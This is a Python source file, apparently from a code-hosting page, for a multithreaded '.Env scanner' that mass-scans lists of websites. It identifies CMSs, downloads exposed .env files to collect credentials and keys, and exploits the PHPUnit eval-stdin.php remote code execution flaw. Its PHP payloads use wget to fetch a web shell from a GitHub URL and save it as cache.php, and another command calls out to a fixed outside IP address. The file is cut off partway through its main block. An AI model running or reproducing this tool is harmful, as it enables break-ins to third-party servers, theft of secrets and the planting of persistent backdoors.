You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
621 lines
31 KiB
621 lines
31 KiB
2 years ago
|
|
||
|
#!/usr/bin/env python3
|
||
|
# -*- coding:utf-8 -*-
|
||
|
import argparse
|
||
|
import logging
|
||
|
import multiprocessing
|
||
|
import os
|
||
|
import re
|
||
|
import socket
|
||
|
import sys
|
||
|
ver=sys.version.split(" ")[0].split(".")
|
||
|
sys.path.append('.env/lib/python'+ver[0]+'.'+ver[1]+'/site-packages/')
|
||
|
import traceback
|
||
|
import warnings
|
||
|
from itertools import islice
|
||
|
from multiprocessing.dummy import Pool as ThreadPool
|
||
|
from urllib.parse import urlparse
|
||
|
import numpy as np
|
||
|
import requests
|
||
|
import urllib3
|
||
|
from urllib3.exceptions import InsecureRequestWarning
|
||
|
|
||
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||
|
warnings.simplefilter('ignore', InsecureRequestWarning)
|
||
|
DEBUG = False
|
||
|
FORCE_SCAN = False
|
||
|
TIME_OUT = 10
|
||
|
SHELL_CODE = 'https://raw.githubusercontent.com/rintod/toolol/master/payload.php'
|
||
|
SHELL_NAME = 'cache.php'
|
||
|
EXTRA_PATH = []
|
||
|
# EXTRA_COMMAND = 'for pid in $(ps -ef | awk \'/sbin|apache|curl/ {print $2}\'); do kill -9 $pid; done'
|
||
|
EXTRA_COMMAND = 'curl -sk http://50.19.199.172/index.php?c=1'
|
||
|
PATH_ROOT = os.path.dirname(os.path.realpath(__file__))
|
||
|
PATH_RESULT = os.path.join(PATH_ROOT, 'results')
|
||
|
PATH_CMS = os.path.join(PATH_ROOT, 'cms')
|
||
|
FILE_RESULT = os.path.join(PATH_ROOT, 'result.txt')
|
||
|
FILE_RESULT_INDEX_OF = os.path.join(PATH_ROOT, 'result_index_of.txt')
|
||
|
ATTACK = []
|
||
|
DEFAULT_HEADER = {
|
||
|
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
|
||
|
'referer': 'https://www.google.com/',
|
||
|
'accept-encoding': 'gzip, deflate, br',
|
||
|
'accept-language': 'en-US,en;q=0.9',
|
||
|
}
|
||
|
CMS_LIST = {
|
||
|
'Wordpress': '(wp-content\/(themes|plugins|mu\-plugins)\/[^\n\s]+\.(js|css)|name\=\"generator\"\scontent\=\"WordPress|\/xmlrpc\.php)',
|
||
|
'Joomla': '(var\sJoomla|name\=\"generator[^\n]+Joomla!|\/com\_[a-z0-9]+\/)',
|
||
|
'Drupal': '(\/sites\/default\/files|extend\(Drupal|node_link_text|name\=\"generator[^\n><]+(Drupal\s([^\s,]+)))',
|
||
|
'MediaWiki': '(name\=\"generator[^\n]+MediaWiki|mediawiki\.(user|hidpi|searchSuggest)|Powered\sby\sMediaWiki|mw\.user\.tokens)',
|
||
|
'PrestaShop': '(modules?\/(tmsearch|topbanner|gsnippetsreviews)\/(search|FrontAjaxTopbanner|views)|comparedProductsIds\=\[\]|var\scomparator_max_item|name\=\"generator\"[^\n]+PrestaShop|license@prestashop\.com|@copyright[^\n]+PrestaShop|var\sprestashop_version)',
|
||
|
'ZenCart': '(name\=\"generator[^\n]+(Zen\sCart|The\sZen\sCart|zen\-cart\.com\seCommerce)|products\_id\=[^=]+zenid|zencart\/|main_page=[^=]+cPath\=\d)',
|
||
|
'vBulletin': '(name\=\"generator[^\n]+vBulletin|[^\n]\"vbulletinlink|vb_login_[^\s]+|vbulletin\-core)',
|
||
|
'Discuz': '(name\=\"generator[^\n]+Discuz|discuz_uid|discuz_tips)',
|
||
|
'Magento': '(Mage\.Cookies\.)',
|
||
|
'Invision': '(<([^<]+)?(Invision\sPower)([^>]+)?>|ipb\_[^\n\'=\s]+)',
|
||
|
'OpenCart': '(name\=\"generator[^\n]+OpenCart|index\.php\?route=(common|checkout|account)|catalog\/view\/theme\/[^\s\n]+\.(js|css|png|jpg))',
|
||
|
'phpBB': '(name\=\"generator[^\n]+phpbb|Powered\sby[^\n]+(phpBB|phpbb\.com)|viewtopic\.php\?f=\d+)',
|
||
|
'Whmcs': '(templates\/.*(pwreset|dologin|submitticket|knowledgebase)\.php)',
|
||
|
'Moodle': '(\^moodle-/|moodle-[a-z0-9_-]+)',
|
||
|
'YetAnotherForum': '(\syaf\.controls\.SmartScroller|\syaf_[a-z0-9_-]+)',
|
||
|
'Jive': '(jive([^a-z]+)(app|Onboarding|nitro|rest|rte|ext))',
|
||
|
'Lithium': '(LITHIUM\.(DEBUG|Loader|Auth|Components|Css|useCheckOnline|RenderedScripts))',
|
||
|
'Esportsify': 'esportsify\.com/([^.]+).(js|css)',
|
||
|
'FluxBB': '(<p[^\n]+FluxBB)',
|
||
|
'osCommerce': '(oscsid\=[^"]+)',
|
||
|
'Ning': '(([a-z0-9-]+)\.ning\.com|ning\.(loader)|ning\._)',
|
||
|
'Zimbra': '(\=new\sZmSkin\(\)|iconURL\:\"\/img\/logo\/ImgZimbraIcon)',
|
||
|
'Symfony':'(Symfony Web Debug Toolbar)',
|
||
|
}
|
||
|
REGEX_INDEX_OF = '(023.jsp|零魂PHP一句话木马客户端.htm|银河舰队大马_2015专版asp大马.asp|草莓webshell.asp|xx.php|.*hcker.asp|xslt.php|(webshell|tmp|cache|shell|command|payload|exec|cmd)\.(phtml|htm|php[0-10]?|asp|aspx)|perl\.alfa|bash\.alfa|py\.alfa|ALFA_DATA|alfacgiapi|alfasymlink|cgialfa|\.env|(Uploading|uploader|downloader|upfile_write|up|download|upload|file|img|image)\.(html|phtml|htm|php[0-10]?|asp|aspx))'
|
||
|
|
||
|
|
||
|
def clean(v):
|
||
|
return re.sub(r"\s#[^\n]+", "", v)
|
||
|
|
||
|
|
||
|
def convert_tuple(lst):
|
||
|
res_dct = {lst[i]: lst[i + 1] for i in range(0, len(lst), 2)}
|
||
|
return res_dct
|
||
|
|
||
|
|
||
|
def make_safe_filename(s):
|
||
|
def safe_char(c):
|
||
|
if c.isalnum():
|
||
|
return c
|
||
|
else:
|
||
|
return "_"
|
||
|
|
||
|
return "".join(safe_char(c) for c in s).rstrip("_")
|
||
|
|
||
|
|
||
|
def check_url(url):
|
||
|
result = {'ready': None, 'cms': 'Unknown', 'message': 'Unknown', 'content': ''}
|
||
|
try:
|
||
|
http = requests.session()
|
||
|
req = http.get(url, timeout=5, verify=False, allow_redirects=True, headers=DEFAULT_HEADER)
|
||
|
raw = req.content.decode(encoding='utf-8', errors='ignore')
|
||
|
result.update(content=str(raw), ready=True)
|
||
|
if not os.path.exists(PATH_CMS):
|
||
|
os.mkdir(PATH_CMS)
|
||
|
for cms, regex in CMS_LIST.items():
|
||
|
try:
|
||
|
if re.search(r'%s' % regex, raw):
|
||
|
result.update(cms=cms)
|
||
|
result_file = os.path.join(PATH_CMS, '%s.list' % cms)
|
||
|
try:
|
||
|
with open(result_file, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('%s\n' % url)
|
||
|
a.close()
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
pass
|
||
|
break
|
||
|
else:
|
||
|
if http.cookies.get('XSRF-TOKEN'):
|
||
|
result.update(cms='Laravel')
|
||
|
result_file = os.path.join(PATH_CMS, '%s.list' % 'Laravel')
|
||
|
try:
|
||
|
with open(result_file, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('%s\n' % url)
|
||
|
a.close()
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
pass
|
||
|
break
|
||
|
elif http.cookies.get('ZM_LOGIN_CSRF'):
|
||
|
result.update(cms='Zimbra')
|
||
|
result_file = os.path.join(PATH_CMS, '%s.list' % 'Zimbra')
|
||
|
try:
|
||
|
with open(result_file, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('%s\n' % url)
|
||
|
a.close()
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
pass
|
||
|
break
|
||
|
elif http.cookies.get('X-Debug-Token-Link'):
|
||
|
result.update(cms='Codeigniter')
|
||
|
result_file = os.path.join(PATH_CMS, '%s.list' % 'symfony')
|
||
|
try:
|
||
|
with open(result_file, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('%s\n' % url)
|
||
|
a.close()
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
pass
|
||
|
break
|
||
|
else:
|
||
|
continue
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
pass
|
||
|
match = re.search(r"<\s?title\s?>([^\n<>]+)<\/\s?title\s?>", raw)
|
||
|
if match:
|
||
|
result.update(message=str(match.group(1)), ready=True)
|
||
|
else:
|
||
|
result.update(message=req.reason, ready=True)
|
||
|
except (
|
||
|
requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout,
|
||
|
requests.exceptions.SSLError, requests.exceptions.ConnectionError, AttributeError,
|
||
|
ConnectionRefusedError, socket.timeout, urllib3.exceptions.ReadTimeoutError,
|
||
|
urllib3.exceptions.DecodeError, requests.exceptions.ContentDecodingError):
|
||
|
result.update(message="Can't connect or Timeout", ready=False)
|
||
|
except KeyboardInterrupt:
|
||
|
raise KeyboardInterrupt
|
||
|
except Exception as error:
|
||
|
logging.exception(
|
||
|
''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__)))
|
||
|
pass
|
||
|
finally:
|
||
|
if result.get('ready') and result.get('cms') == 'Unknown':
|
||
|
result_file = os.path.join(PATH_CMS, 'Unknown.list')
|
||
|
try:
|
||
|
with open(result_file, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('%s\n' % url)
|
||
|
a.close()
|
||
|
except:
|
||
|
pass
|
||
|
if result.get('ready') and re.search(r"^Index\sof\s\/", result.get("message")):
|
||
|
result_index_of = os.path.join(PATH_ROOT, 'index_of.list')
|
||
|
try:
|
||
|
with open(result_index_of, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('%s\n' % url)
|
||
|
a.close()
|
||
|
except:
|
||
|
pass
|
||
|
#add parse index of directory
|
||
|
try:
|
||
|
# print(raw)
|
||
|
pattern = re.escape(REGEX_INDEX_OF)
|
||
|
# print(type(pattern), pattern)
|
||
|
matches = re.findall(r'%s' % REGEX_INDEX_OF.lower(), raw.lower())
|
||
|
# print(type(matches), matches)
|
||
|
if matches:
|
||
|
try:
|
||
|
with open(FILE_RESULT_INDEX_OF, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('\n===============================%s===============================\n' % url)
|
||
|
unique_matches = set()
|
||
|
for match in matches:
|
||
|
unique_matches.add(match[0])
|
||
|
for unique in unique_matches:
|
||
|
a.write(unique + '\n')
|
||
|
a.close()
|
||
|
except:
|
||
|
print('error 2')
|
||
|
pass
|
||
|
except:
|
||
|
print('error 1')
|
||
|
pass
|
||
|
|
||
|
return result
|
||
|
|
||
|
|
||
|
def scan_env(url, force=False):
|
||
|
result_env = {'vuln': None, 'message': 'Unknown', 'content': None}
|
||
|
if not os.path.exists(PATH_RESULT):
|
||
|
os.mkdir(PATH_RESULT)
|
||
|
parsed = urlparse(url)
|
||
|
if parsed.scheme:
|
||
|
target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc)
|
||
|
else:
|
||
|
target = 'http://{}'.format(url)
|
||
|
vuln_paths = ['.env', '.remote', '.local', '.production']
|
||
|
RHOST = urlparse(target).netloc
|
||
|
FILE_RESULT_ENV = os.path.join(PATH_RESULT, '%s.txt' % RHOST.strip())
|
||
|
if not os.path.isfile(FILE_RESULT_ENV) or force:
|
||
|
try:
|
||
|
http = requests.session()
|
||
|
for vuln_path in vuln_paths:
|
||
|
try:
|
||
|
url_bug = '/'.join([target, vuln_path])
|
||
|
resp = http.get(url_bug, timeout=15, verify=False, allow_redirects=True,
|
||
|
headers=DEFAULT_HEADER)
|
||
|
raw = resp.text
|
||
|
result_env.update(content=raw)
|
||
|
raw_vuln = re.compile(r"([A-Z]+_[A-Z]+\s?=[^\n]+)").search(raw)
|
||
|
vuln_env = not re.search(r"(\?>|<[^\n]+>)", raw, re.MULTILINE) and raw_vuln
|
||
|
if vuln_env:
|
||
|
if DEBUG:
|
||
|
print('%s\n' % raw, end='')
|
||
|
message = raw_vuln.group(1).strip()
|
||
|
result_env.update(message=message, vuln=True)
|
||
|
with open(FILE_RESULT_ENV, 'a+') as w:
|
||
|
w.write(resp.text)
|
||
|
w.close()
|
||
|
with open(FILE_RESULT, 'a+') as a:
|
||
|
a.seek(0, os.SEEK_END)
|
||
|
a.write('\n===============================%s===============================\n' % RHOST)
|
||
|
a.write(raw)
|
||
|
a.close()
|
||
|
else:
|
||
|
message = '%d : %s' % (resp.status_code, resp.reason)
|
||
|
result_env.update(message=message)
|
||
|
except KeyboardInterrupt:
|
||
|
raise KeyboardInterrupt
|
||
|
except:
|
||
|
pass
|
||
|
finally:
|
||
|
if result_env.get('vuln'):
|
||
|
break
|
||
|
except KeyboardInterrupt:
|
||
|
raise KeyboardInterrupt
|
||
|
except Exception as error:
|
||
|
logging.exception(
|
||
|
''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__)))
|
||
|
pass
|
||
|
return result_env
|
||
|
|
||
|
|
||
|
def scan_phpunit(url, extra_path=[]):
|
||
|
result_phpunit = {'vuln': None, 'message': 'Unknown'}
|
||
|
payloads = {
|
||
|
'test': '<?php echo \'RCE_VULN|\'; echo php_uname();?>',
|
||
|
'default': '<?php @system(sprintf(\'wget -O %s {{shell}} '
|
||
|
'--no-check-certificate\', join(DIRECTORY_SEPARATOR,array(__DIR__,'
|
||
|
'\'{{shellname}}\'))));echo file_exists(join(DIRECTORY_SEPARATOR,array(__DIR__,'
|
||
|
'\'{{shellname}}\')))?\'RCE_VULN\' : \'FAILED\';?>',
|
||
|
'laravel': '<?php @system(sprintf(\'wget -O %s {{shell}} '
|
||
|
'--no-check-certificate\', is_writable(__DIR__) ? \'{{shellname}}\' : join('
|
||
|
'DIRECTORY_SEPARATOR,array(preg_replace(\'%vendor\/[^\n]+%\', '
|
||
|
'\'storage/framework/\',__DIR__),\'{{shellname}}\'))));echo file_exists(is_writable('
|
||
|
'__DIR__) ? \'{{shellname}}\' : join(DIRECTORY_SEPARATOR,array(preg_replace('
|
||
|
'\'%vendor\/[^\n]+%\', \'storage/framework/\',__DIR__),'
|
||
|
'\'{{shellname}}\')))?\'RCE_VULN\' : \'FAILED\';?>',
|
||
|
'drupal': '<?php @system(sprintf(\'wget -O %s {{shell}} '
|
||
|
'--no-check-certificate\', is_writable(__DIR__) ? \'{{shellname}}\' : join('
|
||
|
'DIRECTORY_SEPARATOR,array(preg_replace(\'%\/sites/all/[^\n]+%\',\'/sites/default/files/\','
|
||
|
'__DIR__),\'{{shellname}}\'))));echo file_exists(is_writable('
|
||
|
'__DIR__) ? \'{{shellname}}\' : join(DIRECTORY_SEPARATOR,array(preg_replace('
|
||
|
'\'%\/sites/all/[^\n]+%\', \'/sites/default/files/\',__DIR__),'
|
||
|
'\'{{shellname}}\')))?\'RCE_VULN\' : \'FAILED\';?>',
|
||
|
}
|
||
|
vuln_paths = [
|
||
|
"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php",
|
||
|
"/vendor/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/vendor/phpunit/Util/PHP/eval-stdin.php",
|
||
|
"/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/phpunit/phpunit/Util/PHP/eval-stdin.php",
|
||
|
"/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/phpunit/Util/PHP/eval-stdin.php",
|
||
|
"/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php",
|
||
|
"/lib/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/lib/phpunit/Util/PHP/eval-stdin.php",
|
||
|
"/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
"/protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
||
|
]
|
||
|
if not os.path.exists(PATH_RESULT):
|
||
|
os.mkdir(PATH_RESULT)
|
||
|
parsed = urlparse(url)
|
||
|
if parsed.scheme:
|
||
|
target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc)
|
||
|
else:
|
||
|
target = 'http://{}'.format(url)
|
||
|
vuln_paths = np.unique(vuln_paths + extra_path)
|
||
|
RHOST = urlparse(target).netloc
|
||
|
payloads = {k: v.replace('{{shell}}', SHELL_CODE).replace('{{shellname}}', SHELL_NAME) for k, v in payloads.items()}
|
||
|
payload_test = payloads.get('test')
|
||
|
payload = payloads.get('default')
|
||
|
FILE_RESULT_RCE = os.path.join(PATH_ROOT, 'result-rce.txt')
|
||
|
FILE_FAIL_RCE = os.path.join(PATH_ROOT, 'fail-rce.txt')
|
||
|
FILE_RESULT_HOST = os.path.join(PATH_RESULT, '%s.txt' % RHOST.strip())
|
||
|
try:
|
||
|
http = requests.session()
|
||
|
for rce in vuln_paths:
|
||
|
rce_bug = '/'.join([target, rce])
|
||
|
extra_cmd = '<?php @system(\"%s\");?>' % EXTRA_COMMAND
|
||
|
try:
|
||
|
if DEBUG:
|
||
|
print('[Exploiting] %s\n' % rce_bug, end='')
|
||
|
res_cek = http.post(rce_bug, timeout=5, verify=False, allow_redirects=False,
|
||
|
headers=DEFAULT_HEADER, data=payload_test)
|
||
|
raw_cek = res_cek.content.decode(encoding='utf-8', errors='ignore')
|
||
|
rce_vuln = 'RCE_VULN' in raw_cek and not re.search(r"(\?>|<[^\n]+>)", raw_cek, re.MULTILINE)
|
||
|
if rce_vuln:
|
||
|
kernel = raw_cek.split('|')[-1]
|
||
|
result_phpunit.update(message=kernel, vuln=True)
|
||
|
try:
|
||
|
if rce == '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php':
|
||
|
payload = payloads.get('laravel')
|
||
|
elif rce == '/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php':
|
||
|
payload = payloads.get('drupal')
|
||
|
res_rce = http.post(rce_bug, timeout=TIME_OUT, verify=False,
|
||
|
allow_redirects=False,
|
||
|
headers=DEFAULT_HEADER, data=payload)
|
||
|
rce_raw = res_rce.content.decode(encoding='utf-8', errors='ignore')
|
||
|
if 'RCE_VULN' in rce_raw:
|
||
|
with open(FILE_RESULT_HOST, 'a+') as y:
|
||
|
y.write('%s\n' % rce_bug)
|
||
|
y.close()
|
||
|
with open(FILE_RESULT_RCE, 'a+') as a:
|
||
|
if rce == '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php':
|
||
|
a.write('%s\n' % re.sub(r"vendor\/[^\n]+", 'storage/framework/%s' % SHELL_NAME,
|
||
|
rce_bug))
|
||
|
elif rce == '/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php':
|
||
|
a.write('%s\n' % re.sub(r"\/sites/all\/[^\n]+", '/sites/default/files//%s' %
|
||
|
SHELL_NAME,
|
||
|
rce_bug))
|
||
|
else:
|
||
|
a.write('%s\n' % rce_bug.replace("eval-stdin.php", SHELL_NAME))
|
||
|
a.close()
|
||
|
try:
|
||
|
http.post(rce_bug, timeout=TIME_OUT, verify=False,
|
||
|
allow_redirects=False,
|
||
|
headers=DEFAULT_HEADER, data=extra_cmd)
|
||
|
except:
|
||
|
pass
|
||
|
else:
|
||
|
with open(FILE_RESULT_HOST, 'a+') as a:
|
||
|
a.write('%s\n' % rce_bug)
|
||
|
a.close()
|
||
|
with open(FILE_FAIL_RCE, 'a+') as x:
|
||
|
x.write('%s\n' % rce_bug)
|
||
|
x.close()
|
||
|
try:
|
||
|
http.post(rce_bug, timeout=TIME_OUT, verify=False, allow_redirects=False,
|
||
|
headers=DEFAULT_HEADER, data=extra_cmd)
|
||
|
except:
|
||
|
pass
|
||
|
except:
|
||
|
with open(FILE_RESULT_HOST, 'a+') as a:
|
||
|
a.write('%s\n' % rce_bug)
|
||
|
a.close()
|
||
|
with open(FILE_FAIL_RCE, 'a+') as x:
|
||
|
x.write('%s\n' % rce_bug)
|
||
|
x.close()
|
||
|
pass
|
||
|
else:
|
||
|
match = re.search(r"<\s?title\s?>([^\n<>]+)<\/\s?title\s?>", raw_cek)
|
||
|
if match:
|
||
|
result_phpunit.update(message=str(match.group(1)), ready=True)
|
||
|
else:
|
||
|
result_phpunit.update(message=res_cek.reason, ready=True)
|
||
|
except KeyboardInterrupt:
|
||
|
raise KeyboardInterrupt
|
||
|
except:
|
||
|
pass
|
||
|
finally:
|
||
|
if result_phpunit.get('vuln'):
|
||
|
break
|
||
|
except KeyboardInterrupt:
|
||
|
raise KeyboardInterrupt
|
||
|
except Exception as error:
|
||
|
logging.exception(''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__)))
|
||
|
pass
|
||
|
return result_phpunit
|
||
|
|
||
|
|
||
|
def do_check(url, attk=['all'], extra_path=[], force=False):
|
||
|
parsed = urlparse(url)
|
||
|
if parsed.scheme:
|
||
|
target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc)
|
||
|
else:
|
||
|
target = 'http://{}'.format(url)
|
||
|
AHOST = urlparse(target).netloc
|
||
|
try:
|
||
|
raw_check = check_url(target)
|
||
|
cms = raw_check.get('cms')
|
||
|
if raw_check.get('ready'):
|
||
|
print("[!]%s : %s ~ %s" % (AHOST, cms, raw_check.get('message').strip()))
|
||
|
if any(ev in 'env' for ev in attk) or any(ev in 'all' for ev in attk):
|
||
|
env = scan_env(target, force)
|
||
|
if bool(env.get('vuln')):
|
||
|
print(style.GREEN('[+] ') + style.BLUE(AHOST) + style.RESET(' [ENV] ') + style.YELLOW(cms) +
|
||
|
style.RESET(' : ') + style.RESET(env.get('message')))
|
||
|
else:
|
||
|
print(style.RED('[x] ') + style.BLUE(AHOST) + style.RESET(' [ENV] ') + style.YELLOW(
|
||
|
cms) + style.RESET(' : ') + style.RESET(env.get('message')))
|
||
|
if any(ev in 'phpunit' for ev in attk) or any(ev in 'all' for ev in attk):
|
||
|
phpunit = scan_phpunit(target, extra_path)
|
||
|
if bool(phpunit.get('vuln')):
|
||
|
print(
|
||
|
style.GREEN('[+] ') + style.BLUE(AHOST) + style.RESET(' [PHPUNIT] ') + style.YELLOW(cms) +
|
||
|
style.RESET(' : ') + style.RESET(
|
||
|
phpunit.get('message')))
|
||
|
else:
|
||
|
print(
|
||
|
style.RED('[x] ') + style.BLUE(AHOST) + style.RESET(' [PHPUNIT] ') + style.YELLOW(
|
||
|
cms) + style.RESET(' : ') + style.RESET(phpunit.get('message')))
|
||
|
else:
|
||
|
print(style.RED('[x] ') + style.BLUE(AHOST) + style.YELLOW(cms) + style.RESET(' : ') + style.RESET(
|
||
|
raw_check.get('message')))
|
||
|
except KeyboardInterrupt:
|
||
|
raise KeyboardInterrupt
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
|
||
|
|
||
|
def support_format(str_ip):
|
||
|
parsed = urlparse(str_ip)
|
||
|
if parsed.scheme:
|
||
|
target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http',
|
||
|
clean_netloc(parsed.netloc))
|
||
|
elif not parsed.scheme and parsed.netloc:
|
||
|
target = 'http://{}'.format(clean_netloc(parsed.netloc))
|
||
|
else:
|
||
|
target = 'http://{}'.format(clean_netloc(str_ip))
|
||
|
return target.replace('\r', '').replace('\n', '')
|
||
|
|
||
|
|
||
|
def clean_netloc(netloc):
|
||
|
return re.sub(r"^(cpanel|www|whm|webmail|mail|webdisk|dc-[0-9]+)\.", "", netloc)
|
||
|
|
||
|
|
||
|
def is_valid_ip(ip_str):
|
||
|
reg = r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"
|
||
|
if re.match(reg, ip_str):
|
||
|
return True
|
||
|
else:
|
||
|
return False
|
||
|
|
||
|
|
||
|
def is_valid_hostname(hostname):
|
||
|
if hostname[-1] == ".":
|
||
|
hostname = hostname[:-1]
|
||
|
if len(hostname) > 253:
|
||
|
return False
|
||
|
labels = hostname.split(".")
|
||
|
if re.match(r"[0-9]+$", labels[-1]):
|
||
|
return False
|
||
|
allowed = re.compile(r"(?!-)[a-z0-9-]{1,63}(?<!-)$", re.IGNORECASE)
|
||
|
return all(allowed.match(label) for label in labels)
|
||
|
|
||
|
|
||
|
def support_input(url):
|
||
|
try:
|
||
|
result = urlparse(url)
|
||
|
if all([result.scheme, result.netloc]):
|
||
|
return True
|
||
|
else:
|
||
|
return is_valid_ip(url) or is_valid_hostname(url)
|
||
|
except:
|
||
|
return is_valid_ip(url) or is_valid_hostname(url)
|
||
|
|
||
|
|
||
|
# auxiliary funciton to make it work
|
||
|
def map_helper(args):
|
||
|
return do_check(*args)
|
||
|
|
||
|
|
||
|
class style():
|
||
|
BLACK = lambda x: '\033[30m' + str(x)
|
||
|
RED = lambda x: '\033[31m' + str(x)
|
||
|
GREEN = lambda x: '\033[32m' + str(x)
|
||
|
YELLOW = lambda x: '\033[33m' + str(x)
|
||
|
BLUE = lambda x: '\033[34m' + str(x)
|
||
|
MAGENTA = lambda x: '\033[35m' + str(x)
|
||
|
CYAN = lambda x: '\033[36m' + str(x)
|
||
|
WHITE = lambda x: '\033[37m' + str(x)
|
||
|
UNDERLINE = lambda x: '\033[4m' + str(x)
|
||
|
RESET = lambda x: '\033[0m' + str(x)
|
||
|
|
||
|
|
||
|
if __name__ == "__main__":
|
||
|
parser = argparse.ArgumentParser(
|
||
|
conflict_handler='resolve',
|
||
|
description='.Env scanner',
|
||
|
formatter_class=argparse.RawDescriptionHelpFormatter
|
||
|
)
|
||
|
parser.add_argument('-l', action='store', dest='file_list',
|
||
|
help='List file', default=None)
|
||
|
parser.add_argument('-a', action='store', dest='attack_list',
|
||
|
help='Attack list', type=str, default='all')
|
||
|
parser.add_argument('-t', action="store", dest="max_thread", type=int, default=multiprocessing.cpu_count() + 2)
|
||
|
parser.add_argument('-shell', action="store", dest="shell_code", help='shell code url', type=str,
|
||
|
default=SHELL_CODE)
|
||
|
parser.add_argument('-name', action="store", dest="shell_name", help='shell name', type=str, default=SHELL_NAME)
|
||
|
parser.add_argument('-custom', action="store", dest="custom", help='custom', type=str, default='paths.txt')
|
||
|
parser.add_argument('-timeout', action="store", dest="timeout", type=int, default=10)
|
||
|
parser.add_argument('-d', action='store_true', dest='debug',
|
||
|
help='show debug', default=False)
|
||
|
parser.add_argument('-f', action='store_true', dest='force',
|
||
|
help='force scan if already scanned', default=False)
|
||
|
args = parser.parse_args()
|
||
|
if 'file_list' not in args or not args.file_list:
|
||
|
parser.print_help()
|
||
|
sys.exit(1)
|
||
|
else:
|
||
|
FILE_LIST = [l.strip() for l in args.file_list.split(",")]
|
||
|
MAX_THREAD = args.max_thread
|
||
|
DEBUG = args.debug
|
||
|
FORCE = args.force
|
||
|
TIME_OUT = args.timeout
|
||
|
SHELL_NAME = args.shell_name
|
||
|
SHELL_CODE = args.shell_code
|
||
|
customs = args.custom
|
||
|
LIST_URL = []
|
||
|
ATTACK = [a.strip() for a in args.attack_list.split(",")]
|
||
|
try:
|
||
|
for l in FILE_LIST:
|
||
|
file = l.strip()
|
||
|
